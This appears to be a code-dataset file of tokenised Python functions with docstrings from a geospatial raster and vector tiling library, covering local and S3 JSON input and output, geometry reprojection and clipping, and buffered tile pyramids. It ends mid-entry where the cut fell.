{"signature": "def write_json(path, params):", "body": "logger.debug(\"<STR_LIT>\", params, path)<EOL>if path.startswith(\"<STR_LIT>\"):<EOL><INDENT>bucket = get_boto3_bucket(path.split(\"<STR_LIT:/>\")[<NUM_LIT:2>])<EOL>key = \"<STR_LIT:/>\".join(path.split(\"<STR_LIT:/>\")[<NUM_LIT:3>:])<EOL>logger.debug(\"<STR_LIT>\", key)<EOL>bucket.put_object(<EOL>Key=key,<EOL>Body=json.dumps(params, sort_keys=True, indent=<NUM_LIT:4>)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>makedirs(os.path.dirname(path))<EOL>with open(path, '<STR_LIT:w>') as dst:<EOL><INDENT>json.dump(params, dst, sort_keys=True, indent=<NUM_LIT:4>)<EOL><DEDENT><DEDENT>", "docstring": "Write local or remote.", "id": "f12821:m8"}
{"signature": "def read_json(path):", "body": "if path.startswith((\"<STR_LIT>\", \"<STR_LIT>\")):<EOL><INDENT>try:<EOL><INDENT>return json.loads(urlopen(path).read().decode())<EOL><DEDENT>except HTTPError:<EOL><INDENT>raise FileNotFoundError(\"<STR_LIT>\", path)<EOL><DEDENT><DEDENT>elif path.startswith(\"<STR_LIT>\"):<EOL><INDENT>bucket = get_boto3_bucket(path.split(\"<STR_LIT:/>\")[<NUM_LIT:2>])<EOL>key = \"<STR_LIT:/>\".join(path.split(\"<STR_LIT:/>\")[<NUM_LIT:3>:])<EOL>for obj in bucket.objects.filter(Prefix=key):<EOL><INDENT>if obj.key == key:<EOL><INDENT>return json.loads(obj.get()['<STR_LIT>'].read().decode())<EOL><DEDENT><DEDENT>raise FileNotFoundError(\"<STR_LIT>\", path)<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>with open(path, \"<STR_LIT:r>\") as src:<EOL><INDENT>return json.loads(src.read())<EOL><DEDENT><DEDENT>except:<EOL><INDENT>raise FileNotFoundError(\"<STR_LIT>\", path)<EOL><DEDENT><DEDENT>", "docstring": "Read local or remote.", "id": "f12821:m9"}
{"signature": "def get_gdal_options(opts, is_remote=False):", "body": "user_opts = {} if opts is None else dict(**opts)<EOL>if is_remote:<EOL><INDENT>return dict(GDAL_HTTP_OPTS, **user_opts)<EOL><DEDENT>else:<EOL><INDENT>return user_opts<EOL><DEDENT>", "docstring": "Return a merged set of custom and default GDAL/rasterio Env options.\n\nIf is_remote is set to True, the default GDAL_HTTP_OPTS are appended.\n\nParameters\n----------\nopts : dict or None\n    Explicit GDAL options.\nis_remote : bool\n    Indicate whether Env is for a remote file.\n\nReturns\n-------\ndictionary", "id": "f12821:m11"}
{"signature": "def reproject_geometry(<EOL>geometry, src_crs=None, dst_crs=None, error_on_clip=False, validity_check=True,<EOL>antimeridian_cutting=False<EOL>):", "body": "src_crs = _validated_crs(src_crs)<EOL>dst_crs = _validated_crs(dst_crs)<EOL>def _reproject_geom(geometry, src_crs, dst_crs):<EOL><INDENT>if geometry.is_empty:<EOL><INDENT>return geometry<EOL><DEDENT>else:<EOL><INDENT>out_geom = to_shape(<EOL>transform_geom(<EOL>src_crs.to_dict(),<EOL>dst_crs.to_dict(),<EOL>mapping(geometry),<EOL>antimeridian_cutting=antimeridian_cutting<EOL>)<EOL>)<EOL>return _repair(out_geom) if validity_check else out_geom<EOL><DEDENT><DEDENT>if src_crs == dst_crs or geometry.is_empty:<EOL><INDENT>return _repair(geometry)<EOL><DEDENT>elif (<EOL>dst_crs.is_epsg_code and               <EOL>dst_crs.get(\"<STR_LIT>\") in CRS_BOUNDS and  <EOL>dst_crs.get(\"<STR_LIT>\") != \"<STR_LIT>\"     <EOL>):<EOL><INDENT>wgs84_crs = CRS().from_epsg(<NUM_LIT>)<EOL>crs_bbox = box(*CRS_BOUNDS[dst_crs.get(\"<STR_LIT>\")])<EOL>geometry_4326 = _reproject_geom(geometry, src_crs, wgs84_crs)<EOL>if error_on_clip and not geometry_4326.within(crs_bbox):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>return _reproject_geom(crs_bbox.intersection(geometry_4326), wgs84_crs, dst_crs)<EOL><DEDENT>else:<EOL><INDENT>return _reproject_geom(geometry, src_crs, dst_crs)<EOL><DEDENT>", "docstring": "Reproject a geometry to target CRS.\n\nAlso, clips geometry if it lies outside the destination CRS boundary.\nSupported destination CRSes for clipping: 4326 (WGS84), 3857 (Spherical\nMercator) and 3035 (ETRS89 / ETRS-LAEA).\n\nParameters\n----------\ngeometry : ``shapely.geometry``\nsrc_crs : ``rasterio.crs.CRS`` or EPSG code\n    CRS of source data\ndst_crs : ``rasterio.crs.CRS`` or EPSG code\n    target CRS\nerror_on_clip : bool\n    raises a ``RuntimeError`` if a geometry is outside of CRS bounds\n    (default: False)\nvalidity_check : bool\n    checks if reprojected geometry is valid and throws ``TopologicalError``\n    if invalid (default: True)\nantimeridian_cutting : bool\n    cut geometry at Antimeridian; can result in a multipart output geometry\n\nReturns\n-------\ngeometry : ``shapely.geometry``", "id": "f12822:m0"}
{"signature": "def segmentize_geometry(geometry, segmentize_value):", "body": "if geometry.geom_type != \"<STR_LIT>\":<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>return Polygon(<EOL>LinearRing([<EOL>p<EOL>for l in map(<EOL>lambda x: LineString([x[<NUM_LIT:0>], x[<NUM_LIT:1>]]),<EOL>zip(geometry.exterior.coords[:-<NUM_LIT:1>], geometry.exterior.coords[<NUM_LIT:1>:])<EOL>)<EOL>for p in [<EOL>l.interpolate(segmentize_value * i).coords[<NUM_LIT:0>]<EOL>for i in range(int(l.length / segmentize_value))<EOL>] + [l.coords[<NUM_LIT:1>]]<EOL>])<EOL>)<EOL>", "docstring": "Segmentize Polygon outer ring by segmentize value.\n\nJust Polygon geometry type supported.\n\nParameters\n----------\ngeometry : ``shapely.geometry``\nsegmentize_value: float\n\nReturns\n-------\ngeometry : ``shapely.geometry``", "id": "f12822:m3"}
{"signature": "def read_vector_window(input_files, tile, validity_check=True):", "body": "if not isinstance(input_files, list):<EOL><INDENT>input_files = [input_files]<EOL><DEDENT>return [<EOL>feature<EOL>for feature in chain.from_iterable([<EOL>_read_vector_window(path, tile, validity_check=validity_check)<EOL>for path in input_files<EOL>])<EOL>]<EOL>", "docstring": "Read a window of an input vector dataset.\n\nAlso clips geometry.\n\nParameters:\n-----------\ninput_file : string\n    path to vector file\ntile : ``Tile``\n    tile extent to read data from\nvalidity_check : bool\n    checks if reprojected geometry is valid and throws ``RuntimeError`` if\n    invalid (default: True)\n\nReturns\n-------\nfeatures : list\n  a list of reprojected GeoJSON-like features", "id": "f12822:m4"}
{"signature": "def write_vector_window(<EOL>in_data=None, out_schema=None, out_tile=None, out_path=None, bucket_resource=None<EOL>):", "body": "<EOL>try:<EOL><INDENT>os.remove(out_path)<EOL><DEDENT>except OSError:<EOL><INDENT>pass<EOL><DEDENT>out_features = []<EOL>for feature in in_data:<EOL><INDENT>try:<EOL><INDENT>for out_geom in multipart_to_singleparts(<EOL>clean_geometry_type(<EOL>to_shape(feature[\"<STR_LIT>\"]).intersection(out_tile.bbox),<EOL>out_schema[\"<STR_LIT>\"]<EOL>)<EOL>):<EOL><INDENT>out_features.append({<EOL>\"<STR_LIT>\": mapping(out_geom),<EOL>\"<STR_LIT>\": feature[\"<STR_LIT>\"]<EOL>})<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>logger.warning(\"<STR_LIT>\", e)<EOL>continue<EOL><DEDENT><DEDENT>if out_features:<EOL><INDENT>try:<EOL><INDENT>if out_path.startswith(\"<STR_LIT>\"):<EOL><INDENT>with VectorWindowMemoryFile(<EOL>tile=out_tile,<EOL>features=out_features,<EOL>schema=out_schema,<EOL>driver=\"<STR_LIT>\"<EOL>) as memfile:<EOL><INDENT>logger.debug((out_tile.id, \"<STR_LIT>\", out_path))<EOL>bucket_resource.put_object(<EOL>Key=\"<STR_LIT:/>\".join(out_path.split(\"<STR_LIT:/>\")[<NUM_LIT:3>:]),<EOL>Body=memfile<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>with fiona.open(<EOL>out_path, '<STR_LIT:w>', schema=out_schema, driver=\"<STR_LIT>\",<EOL>crs=out_tile.crs.to_dict()<EOL>) as dst:<EOL><INDENT>logger.debug((out_tile.id, \"<STR_LIT>\", out_path))<EOL>dst.writerecords(out_features)<EOL><DEDENT><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>logger.error(\"<STR_LIT>\", out_path, e)<EOL>raise<EOL><DEDENT><DEDENT>else:<EOL><INDENT>logger.debug((out_tile.id, \"<STR_LIT>\", out_path))<EOL><DEDENT>", "docstring": "Write features to GeoJSON file.\n\nParameters\n----------\nin_data : features\nout_schema : dictionary\n    output schema for fiona\nout_tile : ``BufferedTile``\n    tile used for output extent\nout_path : string\n    output path for GeoJSON file", "id": "f12822:m6"}
{"signature": "def clean_geometry_type(geometry, target_type, allow_multipart=True):", "body": "multipart_geoms = {<EOL>\"<STR_LIT>\": MultiPoint,<EOL>\"<STR_LIT>\": MultiLineString,<EOL>\"<STR_LIT>\": MultiPolygon,<EOL>\"<STR_LIT>\": MultiPoint,<EOL>\"<STR_LIT>\": MultiLineString,<EOL>\"<STR_LIT>\": MultiPolygon<EOL>}<EOL>if target_type not in multipart_geoms.keys():<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % target_type)<EOL><DEDENT>if geometry.geom_type == target_type:<EOL><INDENT>return geometry<EOL><DEDENT>elif allow_multipart:<EOL><INDENT>target_multipart_type = multipart_geoms[target_type]<EOL>if geometry.geom_type == \"<STR_LIT>\":<EOL><INDENT>return target_multipart_type([<EOL>clean_geometry_type(g, target_type, allow_multipart)<EOL>for g in geometry])<EOL><DEDENT>elif any([<EOL>isinstance(geometry, target_multipart_type),<EOL>multipart_geoms[geometry.geom_type] == target_multipart_type<EOL>]):<EOL><INDENT>return geometry<EOL><DEDENT><DEDENT>raise GeometryTypeError(<EOL>\"<STR_LIT>\" % (geometry.geom_type, target_type)<EOL>)<EOL>", "docstring": "Return geometry of a specific type if possible.\n\nFilters and splits up GeometryCollection into target types. This is\nnecessary when after clipping and/or reprojecting the geometry types from\nsource geometries change (i.e. a Polygon becomes a LineString or a\nLineString becomes Point) in some edge cases.\n\nParameters\n----------\ngeometry : ``shapely.geometry``\ntarget_type : string\n    target geometry type\nallow_multipart : bool\n    allow multipart geometries (default: True)\n\nReturns\n-------\ncleaned geometry : ``shapely.geometry``\n    returns None if input geometry type differs from target type\n\nRaises\n------\nGeometryTypeError : if geometry type does not match target_type", "id": "f12822:m8"}
{"signature": "def to_shape(geom):", "body": "return shape(geom) if isinstance(geom, dict) else geom<EOL>", "docstring": "Convert geometry to shapely geometry if necessary.\n\nParameters:\n-----------\ngeom : shapely geometry or GeoJSON mapping\n\nReturns:\n--------\nshapely geometry", "id": "f12822:m9"}
{"signature": "def multipart_to_singleparts(geom):", "body": "if isinstance(geom, base.BaseGeometry):<EOL><INDENT>if hasattr(geom, \"<STR_LIT>\"):<EOL><INDENT>for subgeom in geom:<EOL><INDENT>yield subgeom<EOL><DEDENT><DEDENT>else:<EOL><INDENT>yield geom<EOL><DEDENT><DEDENT>", "docstring": "Yield single part geometries if geom is multipart, otherwise yield geom.\n\nParameters:\n-----------\ngeom : shapely geometry\n\nReturns:\n--------\nshapely single part geometries", "id": "f12822:m10"}
{"signature": "def __init__(<EOL>self, tile=None, features=None, schema=None, driver=None<EOL>):", "body": "self.tile = tile<EOL>self.schema = schema<EOL>self.driver = driver<EOL>self.features = features<EOL>", "docstring": "Prepare data & profile.", "id": "f12822:c0:m0"}
{"signature": "def __enter__(self):", "body": "self.fio_memfile = MemoryFile()<EOL>with self.fio_memfile.open(<EOL>schema=self.schema,<EOL>driver=self.driver,<EOL>crs=self.tile.crs<EOL>) as dst:<EOL><INDENT>dst.writerecords(self.features)<EOL><DEDENT>return self.fio_memfile<EOL>", "docstring": "Open MemoryFile, write data and return.", "id": "f12822:c0:m1"}
{"signature": "def __exit__(self, *args):", "body": "self.fio_memfile.close()<EOL>", "docstring": "Make sure MemoryFile is closed.", "id": "f12822:c0:m2"}
{"signature": "def zoom_index_gen(<EOL>mp=None,<EOL>out_dir=None,<EOL>zoom=None,<EOL>geojson=False,<EOL>gpkg=False,<EOL>shapefile=False,<EOL>txt=False,<EOL>vrt=False,<EOL>fieldname=\"<STR_LIT:location>\",<EOL>basepath=None,<EOL>for_gdal=True,<EOL>threading=False,<EOL>):", "body": "for zoom in get_zoom_levels(process_zoom_levels=zoom):<EOL><INDENT>with ExitStack() as es:<EOL><INDENT>index_writers = []<EOL>if geojson:<EOL><INDENT>index_writers.append(<EOL>es.enter_context(<EOL>VectorFileWriter(<EOL>driver=\"<STR_LIT>\",<EOL>out_path=_index_file_path(out_dir, zoom, \"<STR_LIT>\"),<EOL>crs=mp.config.output_pyramid.crs,<EOL>fieldname=fieldname<EOL>)<EOL>)<EOL>)<EOL><DEDENT>if gpkg:<EOL><INDENT>index_writers.append(<EOL>es.enter_context(<EOL>VectorFileWriter(<EOL>driver=\"<STR_LIT>\",<EOL>out_path=_index_file_path(out_dir, zoom, \"<STR_LIT>\"),<EOL>crs=mp.config.output_pyramid.crs,<EOL>fieldname=fieldname<EOL>)<EOL>)<EOL>)<EOL><DEDENT>if shapefile:<EOL><INDENT>index_writers.append(<EOL>es.enter_context(<EOL>VectorFileWriter(<EOL>driver=\"<STR_LIT>\",<EOL>out_path=_index_file_path(out_dir, zoom, \"<STR_LIT>\"),<EOL>crs=mp.config.output_pyramid.crs,<EOL>fieldname=fieldname<EOL>)<EOL>)<EOL>)<EOL><DEDENT>if txt:<EOL><INDENT>index_writers.append(<EOL>es.enter_context(<EOL>TextFileWriter(out_path=_index_file_path(out_dir, zoom, \"<STR_LIT>\"))<EOL>)<EOL>)<EOL><DEDENT>if vrt:<EOL><INDENT>index_writers.append(<EOL>es.enter_context(<EOL>VRTFileWriter(<EOL>out_path=_index_file_path(out_dir, zoom, \"<STR_LIT>\"),<EOL>output=mp.config.output,<EOL>out_pyramid=mp.config.output_pyramid<EOL>)<EOL>)<EOL>)<EOL><DEDENT>logger.debug(\"<STR_LIT>\", index_writers)<EOL>def _worker(tile):<EOL><INDENT>tile_path = _tile_path(<EOL>orig_path=mp.config.output.get_path(tile),<EOL>basepath=basepath,<EOL>for_gdal=for_gdal<EOL>)<EOL>indexes = [<EOL>i for i in index_writers<EOL>if not i.entry_exists(tile=tile, path=tile_path)<EOL>]<EOL>if indexes:<EOL><INDENT>output_exists = mp.config.output.tiles_exist(output_tile=tile)<EOL><DEDENT>else:<EOL><INDENT>output_exists = None<EOL><DEDENT>return tile, tile_path, indexes, output_exists<EOL><DEDENT>with concurrent.futures.ThreadPoolExecutor() as executor:<EOL><INDENT>for task in concurrent.futures.as_completed(<EOL>(<EOL>executor.submit(_worker, i)<EOL>for i in mp.config.output_pyramid.tiles_from_geom(<EOL>mp.config.area_at_zoom(zoom), zoom<EOL>)<EOL>)<EOL>):<EOL><INDENT>tile, tile_path, indexes, output_exists = task.result()<EOL>if indexes and output_exists:<EOL><INDENT>logger.debug(\"<STR_LIT>\", tile_path)<EOL>logger.debug(\"<STR_LIT>\" % len(indexes))<EOL>for index in indexes:<EOL><INDENT>index.write(tile, tile_path)<EOL><DEDENT><DEDENT>yield tile<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Generate indexes for given zoom level.\n\nParameters\n----------\nmp : Mapchete object\n    process output to be indexed\nout_dir : path\n    optionally override process output directory\nzoom : int\n    zoom level to be processed\ngeojson : bool\n    generate GeoJSON index (default: False)\ngpkg : bool\n    generate GeoPackage index (default: False)\nshapefile : bool\n    generate Shapefile index (default: False)\ntxt : bool\n    generate tile path list textfile (default: False)\nvrt : bool\n    GDAL-style VRT file (default: False)\nfieldname : str\n    field name which contains paths of tiles (default: \"location\")\nbasepath : str\n    if set, use custom base path instead of output path\nfor_gdal : bool\n    use GDAL compatible remote paths, i.e. add \"/vsicurl/\" before path\n    (default: True)", "id": "f12823:m0"}
{"signature": "def __init__(<EOL>self, grid=None, metatiling=<NUM_LIT:1>, tile_size=<NUM_LIT>, pixelbuffer=<NUM_LIT:0><EOL>):", "body": "TilePyramid.__init__(self, grid, metatiling=metatiling, tile_size=tile_size)<EOL>self.tile_pyramid = TilePyramid(grid, metatiling=metatiling, tile_size=tile_size)<EOL>self.metatiling = metatiling<EOL>if isinstance(pixelbuffer, int) and pixelbuffer >= <NUM_LIT:0>:<EOL><INDENT>self.pixelbuffer = pixelbuffer<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Initialize.", "id": "f12824:c0:m0"}
{"signature": "def tile(self, zoom, row, col):", "body": "tile = self.tile_pyramid.tile(zoom, row, col)<EOL>return BufferedTile(tile, pixelbuffer=self.pixelbuffer)<EOL>", "docstring": "Return ``BufferedTile`` object of this ``BufferedTilePyramid``.\n\nParameters\n----------\nzoom : integer\n    zoom level\nrow : integer\n    tile matrix row\ncol : integer\n    tile matrix column\n\nReturns\n-------\nbuffered tile : ``BufferedTile``", "id": "f12824:c0:m1"}
{"signature": "def tiles_from_bounds(self, bounds, zoom):", "body": "for tile in self.tiles_from_bbox(box(*bounds), zoom):<EOL><INDENT>yield self.tile(*tile.id)<EOL><DEDENT>", "docstring": "Return all tiles intersecting with bounds.\n\nBounds values will be cleaned if they cross the antimeridian or are\noutside of the Northern or Southern tile pyramid bounds.\n\nParameters\n----------\nbounds : tuple\n    (left, bottom, right, top) bounding values in tile pyramid CRS\nzoom : integer\n    zoom level\n\nYields\n------\nintersecting tiles : generator\n    generates ``BufferedTiles``", "id": "f12824:c0:m2"}
{"signature": "def tiles_from_bbox(self, geometry, zoom):", "body": "for tile in self.tile_pyramid.tiles_from_bbox(geometry, zoom):<EOL><INDENT>yield self.tile(*tile.id)<EOL><DEDENT>", "docstring": "All metatiles intersecting with given bounding box.\n\nParameters\n----------\ngeometry : ``shapely.geometry``\nzoom : integer\n    zoom level\n\nYields\n------\nintersecting tiles : generator\n    generates ``BufferedTiles``", "id": "f12824:c0:m3"}
{"signature": "def tiles_from_geom(self, geometry, zoom):", "body": "for tile in self.tile_pyramid.tiles_from_geom(geometry, zoom):<EOL><INDENT>yield self.tile(*tile.id)<EOL><DEDENT>", "docstring": "Return all tiles intersecting with input geometry.\n\nParameters\n----------\ngeometry : ``shapely.geometry``\nzoom : integer\n    zoom level\n\nYields\n------\nintersecting tiles : ``BufferedTile``", "id": "f12824:c0:m4"}
{"signature": "def intersecting(self, tile):", "body": "return [<EOL>self.tile(*intersecting_tile.id)<EOL>for intersecting_tile in self.tile_pyramid.intersecting(tile)<EOL>]<EOL>", "docstring": "Return all BufferedTiles intersecting with tile.\n\nParameters\n----------\ntile : ``BufferedTile``\n    another tile", "id": "f12824:c0:m5"}
{"signature": "def to_dict(self):", "body": "return dict(<EOL>grid=self.grid.to_dict(),<EOL>metatiling=self.metatiling,<EOL>tile_size=self.tile_size,<EOL>pixelbuffer=self.pixelbuffer<EOL>)<EOL>", "docstring": "Return dictionary representation of pyramid parameters.", "id": "f12824:c0:m6"}
{"signature": "def from_dict(config_dict):", "body": "return BufferedTilePyramid(**config_dict)<EOL>", "docstring": "Initialize TilePyramid from configuration dictionary.", "id": "f12824:c0:m7"}
{"signature": "def __init__(self, tile, pixelbuffer=<NUM_LIT:0>):", "body": "assert not isinstance(tile, BufferedTile)<EOL>Tile.__init__(self, tile.tile_pyramid, tile.zoom, tile.row, tile.col)<EOL>self._tile = tile<EOL>self.pixelbuffer = pixelbuffer<EOL>", "docstring": "Initialize.", "id": "f12824:c1:m0"}
{"signature": "@cached_property<EOL><INDENT>def height(self):<DEDENT>", "body": "return self._tile.shape(pixelbuffer=self.pixelbuffer).height<EOL>", "docstring": "Return buffered height.", "id": "f12824:c1:m5"}
{"signature": "@cached_property<EOL><INDENT>def width(self):<DEDENT>", "body": "return self._tile.shape(pixelbuffer=self.pixelbuffer).width<EOL>", "docstring": "Return buffered width.", "id": "f12824:c1:m6"}
{"signature": "@cached_property<EOL><INDENT>def shape(self):<DEDENT>", "body": "return self._tile.shape(pixelbuffer=self.pixelbuffer)<EOL>", "docstring": "Return buffered shape.", "id": "f12824:c1:m7"}
{"signature": "@cached_property<EOL><INDENT>def affine(self):<DEDENT>", "body": "return self._tile.affine(pixelbuffer=self.pixelbuffer)<EOL>", "docstring": "Return buffered Affine.", "id": "f12824:c1:m8"}
{"signature": "@cached_property<EOL><INDENT>def bounds(self):<DEDENT>", "body": "return self._tile.bounds(pixelbuffer=self.pixelbuffer)<EOL>", "docstring": "Return buffered bounds.", "id": "f12824:c1:m9"}
{"signature": "@cached_property<EOL><INDENT>def bbox(self):<DEDENT>", "body": "return self._tile.bbox(pixelbuffer=self.pixelbuffer)<EOL>", "docstring": "Return buffered bounding box.", "id": "f12824:c1:m10"}
{"signature": "def get_children(self):", "body": "return [BufferedTile(t, self.pixelbuffer) for t in self._tile.get_children()]<EOL>", "docstring": "Get tile children (intersecting tiles in next zoom level).\n\nReturns\n-------\nchildren : list\n    a list of ``BufferedTiles``", "id": "f12824:c1:m11"}
{"signature": "def get_parent(self):", "body": "return BufferedTile(self._tile.get_parent(), self.pixelbuffer)<EOL>", "docstring": "Get tile parent (intersecting tile in previous zoom level).\n\nReturns\n-------\nparent : ``BufferedTile``", "id": "f12824:c1:m12"}
{"signature": "def get_neighbors(self, connectedness=<NUM_LIT:8>):", "body": "return [<EOL>BufferedTile(t, self.pixelbuffer)<EOL>for t in self._tile.get_neighbors(connectedness=connectedness)<EOL>]<EOL>", "docstring": "Return tile neighbors.\n\nTile neighbors are unique, i.e. in some edge cases, where both the left\nand right neighbor wrapped around the antimeridian is the same. Also,\nneighbors ouside the northern and southern TilePyramid boundaries are\nexcluded, because they are invalid.\n\n-------------\n| 8 | 1 | 5 |\n-------------\n| 4 | x | 2 |\n-------------\n| 7 | 3 | 6 |\n-------------\n\nParameters\n----------\nconnectedness : int\n    [4 or 8] return four direct neighbors or all eight.\n\nReturns\n-------\nlist of BufferedTiles", "id": "f12824:c1:m13"}
{"signature": "def is_on_edge(self):", "body": "return (<EOL>self.left <= self.tile_pyramid.left or      <EOL>self.bottom <= self.tile_pyramid.bottom or  <EOL>self.right >= self.tile_pyramid.right or    <EOL>self.top >= self.tile_pyramid.top           <EOL>)<EOL>", "docstring": "Determine whether tile touches or goes over pyramid edge.", "id": "f12824:c1:m14"}
{"signature": "def user_process_logger(pname):", "body": "warnings.warn(<EOL>DeprecationWarning(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL>)<EOL>return logging.getLogger(\"<STR_LIT>\" + pname)<EOL>", "docstring": "Logger to be used within a user process file.", "id": "f12825:m3"}
{"signature": "def driver_logger(dname):", "body": "warnings.warn(<EOL>DeprecationWarning(<EOL>\"<STR_LIT>\"<EOL>)<EOL>)<EOL>return logging.getLogger(\"<STR_LIT>\" + dname)<EOL>", "docstring": "Logger to be used from a driver plugin.", "id": "f12825:m4"}
{"signature": "def execute(<EOL>mp,<EOL>td_resampling=\"<STR_LIT>\",<EOL>td_matching_method=\"<STR_LIT>\",<EOL>td_matching_max_zoom=None,<EOL>td_matching_precision=<NUM_LIT:8>,<EOL>td_fallback_to_higher_zoom=False,<EOL>clip_pixelbuffer=<NUM_LIT:0>,<EOL>**kwargs<EOL>):", "body": "<EOL>if \"<STR_LIT>\" in mp.params[\"<STR_LIT:input>\"]:<EOL><INDENT>clip_geom = mp.open(\"<STR_LIT>\").read()<EOL>if not clip_geom:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return \"<STR_LIT>\"<EOL><DEDENT><DEDENT>else:<EOL><INDENT>clip_geom = []<EOL><DEDENT>with mp.open(<EOL>\"<STR_LIT>\",<EOL>matching_method=td_matching_method,<EOL>matching_max_zoom=td_matching_max_zoom,<EOL>matching_precision=td_matching_precision,<EOL>fallback_to_higher_zoom=td_fallback_to_higher_zoom,<EOL>resampling=td_resampling<EOL>) as raster:<EOL><INDENT>raster_data = raster.read()<EOL>if raster.is_empty() or raster_data[<NUM_LIT:0>].mask.all():<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return \"<STR_LIT>\"<EOL><DEDENT><DEDENT>if clip_geom:<EOL><INDENT>clipped = mp.clip(<EOL>np.where(raster_data[<NUM_LIT:0>].mask, mp.params[\"<STR_LIT>\"].nodata, raster_data),<EOL>clip_geom,<EOL>clip_buffer=clip_pixelbuffer,<EOL>inverted=True<EOL>)<EOL>return np.where(clipped.mask, clipped, mp.params[\"<STR_LIT>\"].nodata)<EOL><DEDENT>else:<EOL><INDENT>return np.where(raster_data[<NUM_LIT:0>].mask, mp.params[\"<STR_LIT>\"].nodata, raster_data)<EOL><DEDENT>", "docstring": "Convert and optionally clip input raster data.\n\nInputs:\n-------\nraster\n    singleband or multiband data input\nclip (optional)\n    vector data used to clip output\n\nParameters\n----------\ntd_resampling : str (default: 'nearest')\n    Resampling used when reading from TileDirectory.\ntd_matching_method : str ('gdal' or 'min') (default: 'gdal')\n    gdal: Uses GDAL's standard method. Here, the target resolution is\n        calculated by averaging the extent's pixel sizes over both x and y\n        axes. This approach returns a zoom level which may not have the\n        best quality but will speed up reading significantly.\n    min: Returns the zoom level which matches the minimum resolution of the\n        extents four corner pixels. This approach returns the zoom level\n        with the best possible quality but with low performance. If the\n        tile extent is outside of the destination pyramid, a\n        TopologicalError will be raised.\ntd_matching_max_zoom : int (optional, default: None)\n    If set, it will prevent reading from zoom levels above the maximum.\ntd_matching_precision : int (default: 8)\n    Round resolutions to n digits before comparing.\ntd_fallback_to_higher_zoom : bool (default: False)\n    In case no data is found at zoom level, try to read data from higher\n    zoom levels. Enabling this setting can lead to many IO requests in\n    areas with no data.\nclip_pixelbuffer : int\n    Use pixelbuffer when clipping output by geometry. (default: 0)\n\nOutput\n------\nnp.ndarray", "id": "f12826:m0"}
{"signature": "def execute(<EOL>mp,<EOL>resampling=\"<STR_LIT>\",<EOL>scale_method=None,<EOL>scales_minmax=None<EOL>):", "body": "with mp.open(\"<STR_LIT>\", resampling=resampling) as raster_file:<EOL><INDENT>if raster_file.is_empty():<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>scaled = ()<EOL>mask = ()<EOL>raster_data = raster_file.read()<EOL>if raster_data.ndim == <NUM_LIT:2>:<EOL><INDENT>raster_data = ma.expand_dims(raster_data, axis=<NUM_LIT:0>)<EOL><DEDENT>if not scale_method:<EOL><INDENT>scales_minmax = [(i, i) for i in range(len(raster_data))]<EOL><DEDENT>for band, (scale_min, scale_max) in zip(raster_data, scales_minmax):<EOL><INDENT>if scale_method in [\"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>scaled += (_stretch_array(band, scale_min, scale_max), )<EOL><DEDENT>elif scale_method == \"<STR_LIT>\":<EOL><INDENT>scaled += (np.clip(band, scale_min, scale_max), )<EOL><DEDENT>else:<EOL><INDENT>scaled += (band, )<EOL><DEDENT>mask += (band.mask, )<EOL><DEDENT><DEDENT>return ma.masked_array(np.stack(scaled), np.stack(mask))<EOL>", "docstring": "Read, stretch and return raster data.\n\nInputs:\n-------\nraster\n    raster file\n\nParameters:\n-----------\nresampling : str\n    rasterio.Resampling method\nscale_method : str\n    - dtype_scale: use dtype minimum and maximum values\n    - minmax_scale: use dataset bands minimum and maximum values\n    - crop: clip data to output dtype\nscales_minmax : tuple\n    tuple of band specific scale values\n\nOutput:\n-------\nnp.ndarray", "id": "f12827:m1"}
{"signature": "def execute(mp):", "body": "<EOL>with mp.open(\"<STR_LIT>\", resampling=\"<STR_LIT>\") as raster_file:<EOL><INDENT>if raster_file.is_empty():<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>dem = raster_file.read()<EOL><DEDENT>return dem<EOL>", "docstring": "Example process for testing.\n\nInputs:\n-------\nfile1\n    raster file\n\nParameters:\n-----------\n\nOutput:\n-------\nnp.ndarray", "id": "f12828:m0"}
{"signature": "@click.command(help=\"<STR_LIT>\")<EOL>@utils.arg_create_mapchete_file<EOL>@utils.arg_process_file<EOL>@utils.arg_out_format<EOL>@utils.opt_out_path<EOL>@utils.opt_pyramid_type<EOL>@utils.opt_force<EOL>def create(<EOL>mapchete_file,<EOL>process_file,<EOL>out_format,<EOL>out_path=None,<EOL>pyramid_type=None,<EOL>force=False<EOL>):", "body": "if os.path.isfile(process_file) or os.path.isfile(mapchete_file):<EOL><INDENT>if not force:<EOL><INDENT>raise IOError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>out_path = out_path if out_path else os.path.join(os.getcwd(), \"<STR_LIT>\")<EOL>process_template = pkg_resources.resource_filename(<EOL>\"<STR_LIT>\", \"<STR_LIT>\"<EOL>)<EOL>process_file = os.path.join(os.getcwd(), process_file)<EOL>copyfile(process_template, process_file)<EOL>mapchete_template = pkg_resources.resource_filename(<EOL>\"<STR_LIT>\", \"<STR_LIT>\"<EOL>)<EOL>output_options = dict(<EOL>format=out_format, path=out_path, **FORMAT_MANDATORY[out_format]<EOL>)<EOL>pyramid_options = {'<STR_LIT>': pyramid_type}<EOL>substitute_elements = {<EOL>'<STR_LIT>': process_file,<EOL>'<STR_LIT>': dump({'<STR_LIT>': output_options}, default_flow_style=False),<EOL>'<STR_LIT>': dump({'<STR_LIT>': pyramid_options}, default_flow_style=False)<EOL>}<EOL>with open(mapchete_template, '<STR_LIT:r>') as config_template:<EOL><INDENT>config = Template(config_template.read())<EOL>customized_config = config.substitute(substitute_elements)<EOL><DEDENT>with open(mapchete_file, '<STR_LIT:w>') as target_config:<EOL><INDENT>target_config.write(customized_config)<EOL><DEDENT>", "docstring": "Create an 